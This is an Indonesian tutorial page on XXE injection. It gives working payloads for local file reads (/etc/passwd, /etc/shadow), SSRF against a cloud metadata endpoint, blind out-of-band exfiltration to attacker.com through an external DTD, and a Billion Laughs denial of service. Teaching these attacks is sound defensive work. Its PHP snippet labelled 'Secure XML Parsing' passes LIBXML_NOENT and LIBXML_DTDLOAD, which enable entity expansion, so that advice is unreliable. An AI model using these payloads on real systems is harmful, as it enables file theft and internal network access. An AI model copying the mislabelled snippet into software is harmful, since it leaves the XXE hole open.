Home Pelajaran Web Security XML External Entity (XXE) Injection
Mahir 30 min Web Security

XML External Entity (XXE) Injection

XXE: membaca file lokal, SSRF via XML parser, exfiltrasi data via DTD, blind XXE dengan parameter entities. CWE-611.

XML External Entity (XXE) Injection adalah kerentanan yang terjadi ketika aplikasi memproses input XML dari pengguna menggunakan parser XML yang tidak aman. Penyerang bisa membaca file lokal, melakukan SSRF, atau bahkan Denial of Service. XXE masuk dalam CWE-611 dan OWASP Top 10 2017.

Cara Kerja XXE

XML mendefinisikan "entities"—variabel yang bisa menyimpan data. Jika parser memproses "external entities", penyerang bisa membaca file dari sistem:

XXE: Read /etc/passwd
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

Parser akan membaca isi /etc/passwd dan menempatkannya di dalam tag .

Jenis-Jenis XXE Attack

1. Local File Read

File Read via XXE
<!ENTITY xxe SYSTEM "file:///etc/shadow">
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">

2. SSRF via XXE

SSRF via XXE
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
<!ENTITY xxe SYSTEM "http://internal-server/admin">

3. Blind XXE (Out-of-Band)

Saat respons tidak menampilkan data, gunakan OOB DTD:

Blind XXE - External DTD
# File di attacker.com/evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#37; exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;

# Kirim XML:
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<root>&exfil;</root>

4. Billion Laughs (DoS)

Billion Laughs Attack
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  ... sampai lol9
]>
<root>&lol9;</root>

Cara Mencegah XXE

  • Disable external entities — konfigurasi parser XML dengan aman
  • Disable DTD processing entirely — jika tidak diperlukan
  • Gunakan JSON sebagai ganti XML — JSON lebih aman dari XXE
  • Patch XML libraries — gunakan versi terbaru
PHP (Secure XML Parsing)
libxml_disable_entity_loader(true);
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);

Referensi

  • OWASP XXE: https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing
  • PortSwigger XXE: https://portswigger.net/web-security/xxe
  • CWE-611: Improper Restriction of XML External Entity Reference